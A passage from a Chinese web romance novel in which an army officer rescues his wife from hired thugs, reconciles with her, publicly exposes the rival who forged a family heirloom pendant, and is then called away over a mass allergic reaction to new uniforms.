挂了电话,白凝...凝的第一反应,是拿起桌上的电话,想拨通那个熟悉的、刻在骨子里的号码。 她想求助傅清寒。 可手指触到拨号盘的那一刻,她又停住了。 她想起他那双冰冷失望的眼睛,想起他那句伤人至极的“玩够了吗”。 不,她不能向他低头。 她不能让他以为,自己一遇到麻烦,就只会哭着向他求救。 她深吸一口气,对自己说:白凝凝,你可以的。 “我马上过去,你别跟他们硬碰硬,等我!” 她抓起外套,决定先自己去看看情况再说。 当白凝凝和秦悦感到仓库时,情况比想象中更糟糕。 七八个流里流气的男人,叼着烟,歪歪扭扭地堵在仓库门口。领头的是个满脸横肉的光头,他看到两个漂亮女人出现,眼中立刻闪过一丝淫-邪的光芒。 “哟,老板来了?还是两个大美人!”光头吐掉烟头,朝地上啐了一口,“妹妹,你们这批药材,质量有问题啊!用了可是要烂脸的!哥哥们这是替天行道,为民除害呢!” “胡说八道!我们的药材都是最好的!”秦悦脾气火爆,当场就想冲上去理论。 白凝凝拉住了她,冷冷地看着光头:“你们到底想怎么样?” “不想怎么样。”光头嘿嘿一笑,搓着手,一步步向她们逼近,“要么,赔哥哥们一点精神损失费。要么……就陪哥哥们喝两杯,聊聊人生嘛……” 他身后的几个小弟也跟着发出一阵哄笑,言语愈发粗俗下流,甚至有人开始试图动手动脚。 秦悦虽然泼辣,但也只是个生意人,哪里见过这种阵仗,吓得脸都白了。 白凝凝将秦悦护在身后,摆出了一个防身的姿势,眼神冷厉如刀。 但她心里清楚,她虽然懂点防身术,可毕竟力量悬殊,对方人多势众,真动起手来,她们两个女孩子,绝对要吃大亏! 就在这千钧一发之际—— 远处,一辆黑色的军用吉普车,以一种近乎疯狂的速度,撕裂了空气,朝着这边狂飙而来! 车还没停稳,一道高大挺拔的身影已经从驾驶座上跃下! 是傅清寒! 他身后跟着詹骁,和两名侦察兵,在接到他电话的那一刻,已经将这里的情况用最快的速度汇报了上去! 傅清寒看着那几个正试图将脏手伸向他妻子的流氓,那双深邃的黑眸里,瞬间迸发出了滔天的、毁灭性的怒火和……杀气! 第38章 是我错了 就在那只肮脏的手即将碰到白凝凝衣角的瞬间—— “砰——!” 一声巨响! 仓库那扇厚重的铁皮大门,竟被人从外面,用一种极其恐怖的力道,一脚踹开! 大门扭曲变形,轰然向内倒去,激起漫天灰尘。 逆光中,一道高大挺拔的身影,带着一身足以将空气都冻结的寒气,缓缓走了进来。 来人甚至没穿军装,只是一身简单的黑色常服,但那股从尸山血海里淬炼出的、凝如实质的杀气,像一张无形的大网,瞬间笼罩了整个仓库! 原本还在嬉皮笑脸的地痞流氓们,脸上的笑容瞬间僵住,取而代之的是一种源自本能的、深入骨髓的恐惧!他们感觉自己像是被一头从地狱里爬出来的猛兽盯住了,连呼吸都变得困难,双腿不受控制地开始发软。 “清……清寒?”白凝凝看着那个如神兵天降的男人,声音里带着一丝自己都未曾察出的颤抖和……委屈。 傅清寒的目光,没有在她身上停留,而是径直落在了那个带头的光头身上。 他的眼神,平静得可怕,像暴风雨来临前的死海。 “你,”他缓缓开口,声音低沉得像地狱里的呢喃,“刚才,想用哪只手碰她?” 光头被他看得浑身汗毛倒竖,脑子里一片空白,连一句求饶的话都说不出来。 下一秒,傅清寒动了。 他的动作快得像一道黑色的闪电!在场的所有人,甚至都没看清他是如何移动的! 只听得一阵“咔嚓咔嚓”的骨裂声和接连不断的凄厉惨叫! 不到一分钟。 刚才还嚣张跋扈的七八个地痞流氓,已经全部躺在地上,抱着自己变形的手臂或腿,痛苦地哀嚎打滚,像是看到了鬼一样,再也不敢多看傅清寒一眼。 傅清寒甚至连衣角都没有乱一下。他像做了一件微不足道的小事,走到那个已经吓傻了的光头面前,居高临下地看着他,声音冰冷: “回去告诉你的主子。下一次,就不是断手断脚这么简单了。” 说完,他不再看那些蝼蚁一眼,转身,大步流星地走到白凝凝面前,脱下自己的外套,不由分说地将她和同样吓得不轻的秦悦,紧紧地包裹住。 然后,他拦腰将白凝凝打横抱起,在秦悦震惊的目光中,一言不发地将她抱出了这个肮脏的地方,塞进了那辆霸道的军用吉普车里。 —— 回家的吉普车上,气氛压抑得可怕。 傅清寒一言不发地开着车,紧绷的下颚线显示出他此刻的心情极度不佳。但他会时不时地,通过后视镜,飞快地瞥一眼后座那个蜷缩在角落里、抱着双臂不说话的女人。 白凝凝也低着头,不敢看他。她心里五味杂陈,有后怕,有感动,还有一丝……因为自己逞强而带来的愧疚。 车子平稳地行驶着,这种沉默的拉锯,比任何争吵都更磨人。 最终,还是傅清寒先开了口。 他的声音,因为压抑着怒火和后怕,而显得无比沙哑。 “为什么不告诉我?” 白凝凝的肩膀微微一颤,她依旧低着头,声音轻得像羽毛:“我……我以为我自己能行……” 她顿了顿,又补充了一句,带着一丝连她自己都没察觉的委屈和赌气。 “……也不想……再给你添麻烦。” “麻烦?” 听到这两个字,傅清寒像是被瞬间点燃了引信的炸药! 他猛地一打方向盘,“吱——”的一声,吉普车在路边一个急刹停下! 巨大的惯性让白凝凝向前扑去,又被安全带狠狠地拉了回来。 她惊愕地抬起头,却对上了一双赤红的、充满了后怕和滔天怒火的眼睛! 傅清寒转过身,双手紧紧地抓住她的肩膀,力道之大,仿佛要将她揉进自己的骨血里! “白凝凝,你听着!”他死死地盯着她,用一种极其严肃的、近乎咆哮的语气说道,“你的事,再小也不是麻烦!你是我的妻子,写在我傅清寒户口本上的人!保护你是我的责任!是我的本能!” “你今天要是出了任何一点事,你让我怎么办?!”他最后那句话,声音里带上了无法掩饰的颤抖。 那是恐惧。 一个在枪林弹雨中都未曾皱过一下眉头的男人,在这一刻,却因为她的逞强,而感到了深入骨髓的恐惧。 白凝凝彻底怔住了。她看着他眼中那毫不掩饰的担忧和后怕,心中那堵由误会和骄傲筑起的冰墙,“轰”的一声,裂开了一道缝。 —— 回到家,两人依旧沉默着,但气氛却不再是冰冷的对峙。 傅清寒坐在沙发上,处理着刚才打斗时,因为用力过猛而在墙上擦破的手背。伤口不深,但血迹斑斑,看起来有些狰狞。 白凝凝看着那道伤口,心里像是被什么东西揪了一下,又酸又疼。 她默默地走进卧室,从自己的小药箱里,拿出了那瓶她自制的、最珍贵的金疮药膏。 她走到他身边,一声不吭地蹲下身,拉过他那只受伤的大手。 傅清寒的身体一僵,想抽回手。 “别动。”白凝凝抬起头,瞪了他一眼,那眼神里,带着一丝不容拒绝的霸道。 她用棉签,小心翼翼地为他清理着伤口,动作轻柔得像是在对待一件稀世珍宝。清凉的药膏,覆上火辣辣的伤口,带来一阵舒缓的惬意。 傅清寒垂着眼,看着蹲在自己脚边,专心致志为自己上药的小女人。她长长的睫毛像两把小刷子,在灯光下投下淡淡的剪影。 他心中的怒火和后怕,在这一刻,都化为了绕指柔。 当她为他包扎好最后一圈纱布时,他却反手,一把抓住了她纤细的手腕,微微用力,将她拉入了自己的怀里。 “啊!”白凝凝惊呼一声,整个人都跌坐在他结实的大腿上。 “傅清寒!你……” 她的话,被一个滚烫而又霸道的吻,尽数吞没。 他撬开她的唇齿,攻城略地,仿佛要将她这些天所有的疏离和冷漠,都用这种最原始的方式,一一讨回来。 他感受到了白凝凝的身体的僵硬,松开她,却并未远离,而是抵住她的额头,轻声道:“凝凝,我们不闹了好不好…不管怎样,是我没保护好你……是我错了。” 第39章 你是我的 傅清寒那句沙哑的、带着祈求意味的道歉,像一把钥匙,瞬间打开了白凝凝心中那把尘封已久的锁。 这些天所有的委屈、不安、猜忌和强撑的坚强,在这一刻,尽数化为了滚烫的泪水,不受控制地从眼眶里滑落。 她不再推开他,只是靠在他坚实温暖的怀里,将脸深深地埋进他的胸膛,任由泪水浸湿他的衣襟。那压抑的、小猫般的呜咽声,听得傅清寒的心都碎了。 他什么也没说,只是收紧了手臂,将她更紧地圈在怀里,一下一下地,轻抚着她微微颤抖的后背,用无声的动作,给予她最沉默、也最坚定的安慰。 许久,白凝凝的情绪才渐渐平复下来。 “凝凝,给我说说,这段时间怎么了,为什么躲着我?”傅清寒看着她,“是我哪里做得不好吗?” 她抬起那张泪痕斑驳的小脸,一双被泪水洗过的杏眼,清澈得像雨后的天空。她看着他,声音里还带着浓浓的鼻音和委屈。 “傅清寒,我听说了林晚晴的事……”她鼓起所有的勇气,将自己这些天所有的心魔,一次性地摊开在他面前,“我听说了你们是‘金童玉女’,听说了你手把手地抱着她教射击,听说了你冒着大雨为她找琴弦,还听说了……那块本该给长孙媳妇的祖传玉佩……” 她每说一句,傅清寒的眉头就皱得更深一分。当她说完,他才终于恍然大悟。原来,这些天折磨着她的,竟然是这些陈芝麻烂谷子的破事! 他心中又气又恼,气的是那些长舌妇的搬弄是非,恼的是自己竟然没有早点发现居然是因为这个。但更多的,是心疼。 心疼他的小姑娘一个人默默承受了这么久,甚至还想躲着自己。 他伸出带着薄茧的指腹,轻轻地、温柔地拭去她脸颊上残留的泪珠,那动作,虔诚得像是在对待一件稀世珍宝。 “所以,你就觉得,我是把你当成了她的替代品?”他看着她的眼睛,声音里充满了无奈和一丝连他自己都没察觉的……哭笑不得。 白凝凝咬着唇,不说话,算是默认了。 傅清寒看着她这副委屈又倔强的小模样,忍不住低低地笑了一声,那笑声里,是化不开的宠溺和疼惜。 他捧着她的脸,极其认真地,开始了他的“澄清报告”。 “第一,关于射击。”他的语气,郑重得像是在做军事汇报,“那次比赛,我是总教官。林晚晴作为学员,连续脱靶,影响了整个队伍的进度。我纠正她的姿势,是为了整个团队的荣誉,也是我作为教官的职责。我对所有动作不规范的学员,都会进行一对一的纠正,不止她一个。在训练场上,没有男女,只有军人。” “第二,关于琴弦。”他继续解释,眼神坦荡,“那次生日派对,是整个大院的集体活动,为的是给即将外派的林叔叔送行,林晚晴拉琴只是其中一个环节。我是当时的活动负责人,保证活动顺利是我的责任。琴弦断了,我去解决问题,天经地义。换了任何一个人,任何一个环节出了问题,我都会去。” 凝凝似懂非懂地听着,意思就是这都是误会,是自己听了别人的片面之词,多想了? 她眨眨眼,突然觉得自己很蠢,像个什么都不懂的小女孩听了两三句风言风语就在这里乱吃飞醋,闹别扭,甚至还差点闯出祸来…… “那……还有玉佩的事呢……”她的声音低低的。那副闯了祸又不太敢承认的小模样比平时还要乖上几分。 傅清寒心里一软,不由得起了两分想要逗弄她的心思,看看这个闹人的小东西下次还敢不敢胡思乱想了。 他故意拉长了声音,“关于玉佩的事是真的。” “你说什么?”刚刚还怂头怂脑的凝凝立刻就炸了毛,“你说什么!你真的送她玉佩了?!!” 看着凝凝一副气鼓鼓,像是要吃了自己的样子,他心情一阵大好,这说明什么?她的小姑娘是在吃醋,她是在乎自己的,也许比她想象中还要在乎。 他的嘴角,勾起一抹笑意,安抚地把人抱在怀里,拍了拍后背,“那块玉佩的确有,也是我们傅家留下来,让我送给‘我未来的妻子’的。但我当时根本没有结婚的打算,更没想过要娶她林晚晴,所以,我根本没送。” 凝凝松了口气,高高吊起的心终于放了下来。 “那块玉佩,从始至终,都锁在老宅书房的保险柜里。她手里的那块,是假的。是她自己,找人仿造的。” “假的?!仿造?”凝凝有点吃惊。 “我和她,从来都只是大院里一起长大的普通朋友,连手都没牵过。是她一直在外面自说自话,营造出那种暧昧的假象,满足她可笑的虚荣心。” “所以……你受伤之后,她也是担心因为这些假象被你缠上?所以才跑的?” 傅清寒嗤笑一声,“我缠上她,我就算是个废人,我也看不上她这样做派。所以……” 他扶正凝凝的身体,郑重地捧起她的脸,强迫她看着自己的眼睛,用一种前所未有的、深沉而又炙热的语气,开始了最终的告白。 “白凝凝,你听好。” “我傅清寒这辈子,从不知情爱为何物。直到遇见你。” “我娶你,最初或许是出于责任。但我对你好,护着你,宠着你,全都是因为——我爱你。” “不是因为感恩,不是因为补偿,更不是因为什么狗屁替代品。” 他的目光,灼热得像是要将她的灵魂都点燃。 “我爱你,是因为你就是你。是那个会在所有人面前指名道姓要嫁给我的你,是那个嘴硬心软,那个会为了自己的事业努力奋斗的你,是那个会因为我吃醋,会为我担心的,独一无二的白凝凝。” 他低下头,滚烫的唇,轻轻地印在她的额头上,像是在烙印一个永恒的誓言。 “所以,忘了那些不相干的人和事。” “从今以后,你只需要看着我,相信我。然后,把你自己……完完全全地,交给我。” 傅清寒那番霸道而又深情的告白,像一道温暖的激流,彻底冲垮了白凝凝心中所有的堤坝。 她抬起那双依旧水光潋滟的眸子,看着眼前这个男人眼中的认真和炙热,所有的委屈和不安,都化为了满心的动容和……甜蜜。 她踮起脚尖,主动地、甚至带着一丝急切地,吻上了他的唇。 傅清寒先是一愣,随即,一股狂喜瞬间席卷了他!他反客为主,扣住她的后脑,加深了这个吻,将自己所有的失而复得和深沉爱意,都倾注其中。 他抱着她,一路从沙发吻到了卧室的大床上。 衣衫褪尽,肌肤相亲。 就在他即将进入的那一刻—— 傅清寒的动作猛地一僵。 第40章 第二块玉佩 而他身下的白凝凝,身体也瞬间绷紧,她只觉得小腹传来一阵熟悉的坠痛感,随即,一股无法控制的热流涌了出来…… 空气,瞬间凝固了。 白凝凝的脸“轰”的一下,红得能滴出血来,她恨不得当场去世! 怎么会在这个时候来事? 傅清寒看着身下那张羞愤欲死、恨不得找个地缝钻进去的小脸,又看了看床单上那抹刺目的嫣红,先是愣了三秒,随即,发出一阵低沉的、隐忍的、最终没忍住的闷笑声。 他……他竟然笑了! 白凝凝又羞又恼,抬起粉拳就往他结实的胸膛上捶:“不许笑!你还笑!” “好好好,不笑。”傅清寒抓住她乱动的手,强忍着笑意,但那微微颤抖的肩膀,还是出卖了他。他翻身下床,将被子温柔地替她盖好,眼神里的宠溺和无奈几乎要溢出来。 他俯下身,在她额头印下一个吻,声音沙哑却温柔:“小乖,看来我们都得再等等了。” 他顿了顿,又凑到她耳边,用只有两人能听到的声音,补充了一句让她面红耳赤的话: “不过,现在我们至少可以确定一件事——我的伤,是真的彻底好了。” 他顿了顿,又补充了一句,“你的治疗方案,非常成功。我的身体机能,已完全恢复正常。甚至,超出了预期标准。” “白神医,真的是妙手回春。” 白凝凝从被子缝里露出一双眼睛,又羞又恼地瞪着他。 这个男人!都什么时候了,还在这里一本正经地胡说八道!什么叫“实验证明”?什么叫“超出预期标准”?什么叫做“妙手回春”?! “用不用我做个锦旗挂在咱们卧室里?” 她抓起一个枕头就朝他扔了过去:“傅清寒!你闭嘴!” 傅清寒轻松地接住枕头,看着她那副炸了毛的小猫模样,紧绷的嘴角终于还是没忍住,微微向上翘了一下。他将干净的枕头放回床边,将被子替她掖好,声音里终于带上了一丝无奈和宠溺。 “好了,不逗你了。你先躺着,我去给你煮碗红糖姜茶。” 第二天清晨,第一缕阳光透过窗帘的缝隙照了进来。 白凝凝醒来是在身边男人的怀里,他不知道什么时候已经醒了,英俊的脸庞上带着晨起的一丝慵懒,正看着自己。“早啊,凝凝,肚子还疼吗?” 白凝凝脸颊一红,想起昨晚的窘迫,摇了摇头,声音细若蚊蚋:“不疼了……” 清寒却不信,他掀开被子一角,那只带着薄茧、温暖干燥的大手,极其自然地覆上她平坦的小腹,用一种很专业、力道恰到好处的手法,隔着睡衣,为她轻轻地、一圈一圈地揉着。 “我问过军医,”他一本正经地解释,掩饰着自己的温柔,“这样可以活血化瘀,缓解疼痛。” “不用你说,我是医生,我当然知道。”白凝凝被他掌心传来的温度烫得浑身酥软,但还是很不好意思地回答。 傅清寒看她明明像只慵懒的小猫,安心地享受着他的照顾却又忍不住的嘴硬就觉得好笑,他的这个小妻子这是害羞了。 他只觉得心里燥热又有抬头的欲望,便凑到她耳边轻声道:“我去做饭,你躺会儿别动。” 不一会儿,傅清寒端着早餐进了卧室。一碗熬得软糯的红枣阿胶粥,还有几个精致的小菜。 “今天不许下床,我喂你。”他用不容拒绝的语气,下达了“命令”。 白凝凝半推半就地接受了他的投喂。阳光透过窗户洒在两人身上,岁月静好,仿佛刚刚的羞涩是一场绮丽的梦,而更早之前的争吵和冷战,都只是一场遥远的噩梦。 现实中,只有这个在阳光下闪闪发光的男人。 —— 在把白凝凝哄得舒舒服服躺下后,傅清寒走进书房,脸上的温柔和宠溺瞬间消失,取而代之的是冰冷的、带着杀气的寒意。 他拨通了詹骁的电话,指令简洁而又致命: “第一,查。林晚晴回国后所有的资金往来、接触过的人,尤其是和昨天那几个地痞流氓有关的线索,一天之内,我要全部的资料。” “第二,她手里的那块假玉佩,给我查清楚是在哪里做的。伪造傅家信物,意图混淆视听,这件事,不能就这么算了。” “第三,联系军工项目部那边,告诉他们,林晚晴提供的所有设计方案,都需要进行‘最严格’的背景和技术安全审查。我不希望看到任何有‘泄密风险’的人,接触到我们的核心机密。” 挂了电话,他又拨通了傅建军的办公室。 “大哥,管好你的儿媳妇。楚小小和林晚晴最近走得很近,我不想我的妻子,再听到任何不该听的话,或者遇到任何不该有的麻烦。否则,后果自负。” 做完这一切,他眼中的寒意才稍稍退去。他转身,从书房最深处的保险柜里,拿出了一个古朴的紫檀木盒子。 他回到卧室时,白凝凝正靠在床头看书。 他走到床边,将那个木盒递到她面前,打开。 盒子里面,静静地躺着一块温润通透的古玉。那是一块龙凤呈祥的玉佩,雕工精湛,一看便知是传家之宝,比林晚晴那块赝品,不知要珍贵多少倍。 “这是傅家的传家宝。”傅清寒看着她的眼睛,声音郑重而又深情,“只传给傅家的媳妇。以前,它没有主人。现在,它有。” “这是傅家的镇宅之宝。”傅清寒看着她的眼睛,声音郑重而又深情,“只传给傅家真正认可的女主人。以前,它没有主人。现在,它有。” 他拿出玉佩,准备为白凝凝戴上。 白凝凝看着这块温润的古玉,心中却升起一个疑问,她抬手按住傅清寒的手,轻声问道:“这是傅家媳妇的信物,那……大嫂她,为什么没有?” 傅清寒看着她认真的模样,眼中闪过一丝笑意和……对周玉芬的不屑。 他解释道:“傅家有两样东西象征着女主人的地位,一个是家中的财政大权,一个就是这块玉佩。我大哥结婚时,我爸曾让大嫂在两者之间二选一。” 他顿了顿,语气里带着一丝嘲讽:“她说,一个过时的破石头有什么用,当然是钱最实在。所以,她拿走了财权,而这块玉佩,父亲就交给了我,让我将来交给我选中的媳妇手里。” 周玉芬那贪婪又短视的嘴脸,仿佛就在眼前。她为了眼前的真金白银,亲手放弃了这块代表着家族最高认可和气运的镇宅之宝。 凝凝心中了然,不再多问。 傅清寒亲手为她戴上了玉佩。 冰凉的玉佩一接触到她温热的肌肤,白凝凝浑身一震! 一股更加浑厚、沉稳的奇异灵气,从玉佩中缓缓渗出,与她体内的内劲交相辉映,让她感觉自己的五感都变得更加敏锐,周身仿佛笼罩上了一层看不见却坚韧无比的“气场”,整个人都精神了不少。 “怎么了?”傅清寒察觉到她一瞬间的失神,低声问道。 “没什么。”白凝凝压下心中的惊涛骇浪,抬头看向傅清寒,眼中闪烁着前所未有的异彩,“只是觉得,这块玉的材质很特殊,戴上之后,感觉很舒服,很精神。” 这感觉和之前她收到原主父母留下的那块玉佩感觉何其相似,难道说……这两枚玉佩有什么关联? 她下意识地伸手,用指腹轻轻摩挲着玉佩的背面,镌刻着几个极其古老的、类似甲骨文的图样,一般人看不懂,只当是祈福的纹饰。 然而,当白凝凝的指尖随着内劲的流转触碰到那些古文时,她的脑海中,竟清晰地浮现出了两个古朴而又充满力量的大字—— 天璇! 原来,它叫“天璇珏”! “傅清寒,你帮我把抽屉那块锦盒拿过来。” 傅清寒依言,从床头柜的抽屉里,拿了出来。 她接过锦盒,深吸一口气,将其打开。 她颤抖着伸出手,用同样的方法,将内劲注入父母留下的那块玉佩。 瞬间,另外两个古朴的大字,清晰地浮现在她的脑海中—— 天枢! 天枢、天璇……这不正是北斗七星的前两颗星吗?! 猜想,在这一刻,得到了证实! 难道还有其他的? “怎么了?”傅清寒看着她那副震惊得无以复加的模样,又看了看那两块似乎平平无奇的玉佩,眼中充满了疑惑和担忧。 “没什么。”白凝凝迅速收敛心神,将两块玉佩都收了起来,抬头对他展颜一笑,那笑容里,是前所未有的明媚和释然,“我只是觉得,我和你的这块玉佩,很有缘分。” 原主父母留下的“天枢珏”,主生机, 傅清寒送的“天璇珏”,主守护, 至于其他的玉佩会在哪里见到……她莫名有些期待。 傅清寒虽然不明白其中缘由,但看着她眼中重新亮起的光彩,觉得这就够了。 他低下头,在她眉心印下一个珍重的吻,声音沙哑: “凝凝,戴上它。以后,你就是我傅家名正言顺、独一无二的女主人。” 第41章 假玉佩才值五十块,是在侮辱谁? 这些天傅清寒将“二十四孝好老公”这个角色扮演到了极致。红糖姜茶、热水袋、爱心餐点,无微不至。白凝凝被他养得面色红润,连带着之前因为创业碰壁和冷战而产生的郁结之气,都一扫而空。 她也终于可以安心地,将自己全部的才华和精力,投入到“凝悦”品牌的创立中。而审批和运行中的流程,有了陈慕白和傅清寒的双重支持,变得畅通无阻。 就在凝凝忙于事业时候,傅清寒也没闲着,他的效率比白凝凝想象中还要快。 这天下午,詹骁将一份加密文件,送到了傅清寒的书房。 文件里,是关于林晚晴的详尽调查报告。 “团长,都查清楚了。”詹骁汇报道,“指使那群地痞流氓的,的确是林晚晴。她通过一个叫王总的药厂负责人,将现金交给了那个光头。这是他们交易的银行流水和那个王总的口供录音。” “另外,那块假玉佩,我们也查到了。是在潘家园一个专门做旧仿古的小作坊,作坊老板已经招了,还提供了当时林晚晴给的设计图样。” 报告面清晰地记录了那块假玉佩的来源——成本价,五十块人民币。 “她还真是……看得起我们傅家的传家宝。”傅清寒看着那份报告,嘴角勾起一抹冰冷的讥讽。 “是啊,”詹骁也觉得不可思议,“五十块做个假货招摇撞骗,这个林晚晴怎么想的,她是不是脑子坏掉了?” “她不是脑子坏掉了,是贪婪让她看不清现实。她以为众口铄金,以为可以做成既定事实,以为我会看上她。她太贪了也太自负。” 詹骁点点头,深以为然,“那老大你打算怎么做?” 傅清寒合上文件,抬起头,唇角微微一翘,满是讥诮,对他下达了指令。 “第一,把这份报告,连同那个王总的口供录音,以‘合作方背景存在重大安全隐患’为由,直接递交给军工项目的总负责人,王振国上将。” 王上将是陈老总的老部下,最是看重军纪和安全,也最厌恶这种阴私手段。这份报告递上去,打得就不仅仅是林晚晴的脸,连带着整个林家都要吃瓜落。 詹骁心中一凛,老大果然还是老大,打蛇打七寸,林家出事,林晚晴这么逆女还不得被他爸抽死。 “第二,”傅清寒的嘴角,勾起一抹冰冷的弧度,“把那份假玉佩的调查报告,连同作坊老板的口供复印件,匿名寄给军区大院里那几位最喜欢‘聊天’的夫人。记住,要让她们觉得,这是自己挖到的‘独家猛料’。” 詹骁瞬间明白了团长的意图,猛然抬头看他。 杀人诛心啊! 如果说刚刚是家族层面的釜底抽薪,这就是照着林晚晴的脸上狠狠地扇上一巴掌! 詹骁咽了口唾沫,果然得罪谁也不得罪他的活阎王。 傅清寒看他这幅快要吓傻的样子,“还不去?” “是!”詹骁忙不迭领命,转身离去。 —— 第二天,军工项目部。 当王振国上将看到那份详尽的调查报告,听到录音笔里那清晰的交易内容时,勃然大怒!他当场一掌拍在桌子上,震得茶杯都跳了起来! “混账!简直是无法无天!竟敢把这种下三烂的手段,用到我们军属的身上!还想接触我们的核心项目?简直是痴心妄想!” 他当即下令:立刻终止与林晚晴设计团队的一切合作,将其永久列入军方合作项目的黑名单!同时,对林氏集团的其他业务,也进行全面的、严格的审查! 林晚晴想借着军工项目回国发展的如意算盘,在这一刻,被砸得粉碎!她不仅失去了最重要的项目,连带着整个林家的生意,都受到了牵连,岌岌可危! 就在王将军一句话定下林家大祸之时,林晚晴还不知情,她正在忙着参加京市军区大院的周末联谊舞会呢。 这种舞会,是未婚青年男女的相亲角,也是已婚家属们的社交场,更是八卦和流言蜚语的最佳温床。 她作为新回国的“天之骄女”,自然是舞会的焦点。她穿着一身优雅的白色长裙,像一只骄傲的白天鹅,被一群青年才俊和贵妇人们众星捧月般地围在中间。 她正享受着这种万众瞩目的感觉,眼角的余光,却瞥见了姗姗来迟的傅清寒和白凝凝。 她的心,瞬间被嫉妒的火焰点燃! 那天仓库的事,她后来听说了。那群地痞流氓,不仅没能吓住白凝凝,反而被傅清寒打进了医院,屁都不敢放一个。她的计划,彻底失败了。 但她不甘心!她不信,凭着自己和傅清寒这么多年的“情分”,会输给一个乡下来的野丫头! 她端着酒杯,故作优雅地朝着两人走去,准备再次上演一出“忆往昔”的深情戏码。 前段时间就因为自己略施小计就让白凝凝这个小妖精一蹶不振,和傅清寒差点翻脸,今天是时候再添把柴,加点火了。 一个乡下丫头仗着有几分姿色和三脚猫的医术就想越过自己去,开什么玩笑。 傅家少奶奶这个位置早晚都是自己的。 然而,她刚走到一半,舞会大厅的门,却突然被推开了。 几个穿着制服、神情严肃的公安干警,在一名干练的女警带领下,径直走了进来,瞬间吸引了全场的目光。 “请问,哪位是林晚晴女士?”女警的声音,清晰而又洪亮。 所有人的目光,都齐刷刷地落在了林晚晴身上。 林晚晴心中一慌,不会是那件事暴露了吧……不过想想,中间还有王总做中间人,再说就算是查哪有这么快。而且量他们也不敢,自己背后站的可是林家,他们总要掂量掂量,得罪了林家对他们有什么好处? 给自己做完心理建设,她强作镇定地站了出来:“我是,请问有什么事吗?” 女警没有回答她,而是对身后一挥手。 两个公安干警,押着一个剃着光头、手上还打着石膏的男人,走了上来。正是那天在仓库闹事的那个地痞头子! 光头一看到林晚晴,立刻像是看到了救星,也像是为了减刑,指着她就大喊起来:“警察同志!就是她!就是这个女人!是她给了我五千块钱,让我去砸那个叫‘凝悦’的仓库,还让我去吓唬那两个老板娘的!我们就是收钱办事啊!” “轰——!” 整个舞会大厅,瞬间炸开了锅! “什么?是林晚晴雇人去砸场子的?” “天呐,这也太恶毒了吧?表面上是优雅的设计师,背地里竟然干这种下三烂的事!” “真是知人知面不知心啊!” 林晚晴的脸,“唰”地一下,血色尽失!她看着那个指认自己的光头,厉声尖叫道:“你胡说!我根本不认识你!你这是血口喷人!” “不认识?”女警冷笑一声,从文件夹里,拿出了一张银行转账记录的复印件,和几张高清的照片,当着所有人的面,高高举起。 “林女士,这是你通过你助理的账户,给这位王光头转账五千块的记录。而这几张照片,是你们在城南咖啡馆见面的监控截图。你还想抵赖吗?” 铁证如山! 林晚晴看着那些照片和文件,脑中一片空白,身体摇摇欲坠。她知道,自己完了。 然而,这还不是结束。 女警收起那些证据,又拿出了另一份文件,和一个用证物袋装着的,所谓的“傅家祖传玉佩”。 她清了清嗓子,用一种近乎宣判的语气,大声说道: “另外,我们还接到傅家的报案。林晚晴女士,涉嫌伪造傅氏家族的重要信物,并长期在公共场合,谎称此物为傅清寒团长所赠,以此营造暧昧假象,对傅团长及其家人的名誉,造成了极其恶劣的影响!” 她将那块假玉佩举了起来,继续道:“经过专家鉴定,此玉佩为京市潘家园某作坊仿制,成本价,五十元。” “噗——!” 不知是谁,第一个没忍住笑了出来。 随即,整个大厅,爆发出了一阵压抑不住的、充满了嘲讽和鄙夷的哄笑声! 五十块的假货! 亏她还天天戴在脖子上,当成宝贝一样炫耀! 亏所有人还都以为那是傅家的定情信物! 这简直是本年度最大的笑话! 林晚晴所有的骄傲、体面和优越感,在这一刻,被彻底地、无情地撕得粉碎!她成了整个京市圈子里,最可悲、最可笑的小丑! 她在一片哄笑声中,双腿一软,彻底瘫倒在了地上。 白凝凝正靠在傅清寒的怀里,吃惊地看着这场由自己男人亲手为她导演的、精彩绝伦的“打脸大戏”,果汁都忘了。 她转过头,看着傅清寒那张棱角分明的侧脸,“你干的?” 傅清寒的嘴角勾起一抹宠溺的笑。他低下头,轻轻擦去她嘴角不小心粘上的水渍:“你猜呢?” “你可真行,一声不吭办大事啊?” “哪里哪里,为夫人服务。”他低头在凝凝小巧的耳垂上亲了一口。 第42章 可怜的傅清寒又被打断了,军服的雷终于爆了 林晚晴在舞会上的彻底塌房,成了整个京市圈子未来半个月最大的笑料。 她“五十块假玉佩”的光辉事迹,和雇凶伤人的恶毒行径,让她从一个人人追捧的“白天鹅”,沦为了人人鄙夷的“蛇蝎小丑”。 林家为了平息傅家的怒火,不仅在军工项目上做出了巨大让步,更是将林晚晴关了禁闭,勒令她短期内不许再出现在任何社交场合。 清除了所有的外部干扰,傅清寒和白凝凝的小院,终于迎来了久违的、蜜里调油般的宁静。 这天清晨,白凝凝刚从睡梦中醒来,就被身边男人灼热的视线烫得脸颊发烫。 傅清寒侧躺在她身边,一只手撑着头,另一只手不老实地在她腰间画着圈,那双深邃的黑眸里,是毫不掩饰的、饿了许久的狼一样的光芒。 “早。”他的声音,因为晨起而带着一丝沙哑的性感。 他等了好几天了。 眼看自家小媳妇的生理期终于过去,整个人又变得活蹦乱跳,傅团长的心思,也开始活泛了起来。 他装作不经意地问道,语气里却带着一丝司马昭之心路人皆知的试探:“肚子……今天还疼吗?是不是……彻底好了?” 白凝凝哪里听不出他话里的潜台词,脸颊“轰”的一下就红了,她抓过被子蒙住头,瓮声瓮气地回了一句:“不知道!” 傅清寒低低地笑出声,他拉开被子,俯下身,滚烫的唇贴着她的耳朵,用一种极其危险的、蛊惑人心的语气,轻声呢喃: “不知道?那……我们来检查一下?” “唔……” 白凝凝所有的抗议,都被他用一个缠绵而又霸道的吻,尽数吞没。 卧室内,气温节节攀升,空气中弥漫着暧昧旖旎的气息。 就在两人衣衫半褪,即将擦枪走火,进行到最关键的一步时—— “铃铃铃——!铃铃铃——!” 床头的军用电话,又一次在最不合时宜的时刻,急促地、催命般地响了起来! 傅清寒的动作猛地一僵,他那双染上了情欲的黑眸里,瞬间迸发出一股想杀人的怒火! 他几乎是咬着后槽牙,从牙缝里挤出了两个字:“该死!” 他翻身下床,黑着脸接起了电话。 电话那头,是副官詹骁焦急万分的声音。 “老大!不好了!咱们营地里,昨晚换发了新一批的夏季作训服,今天一早,有上百名战士,身上起了大面积的红疹,瘙痒难耐,军医束手无策!怀疑是……集体过敏!” “集体过敏?”傅清寒的眉头瞬间拧成了一个川字,声音也变得凌厉起来。 “我马上过去!”他挂了电话,立刻开始穿衣服。 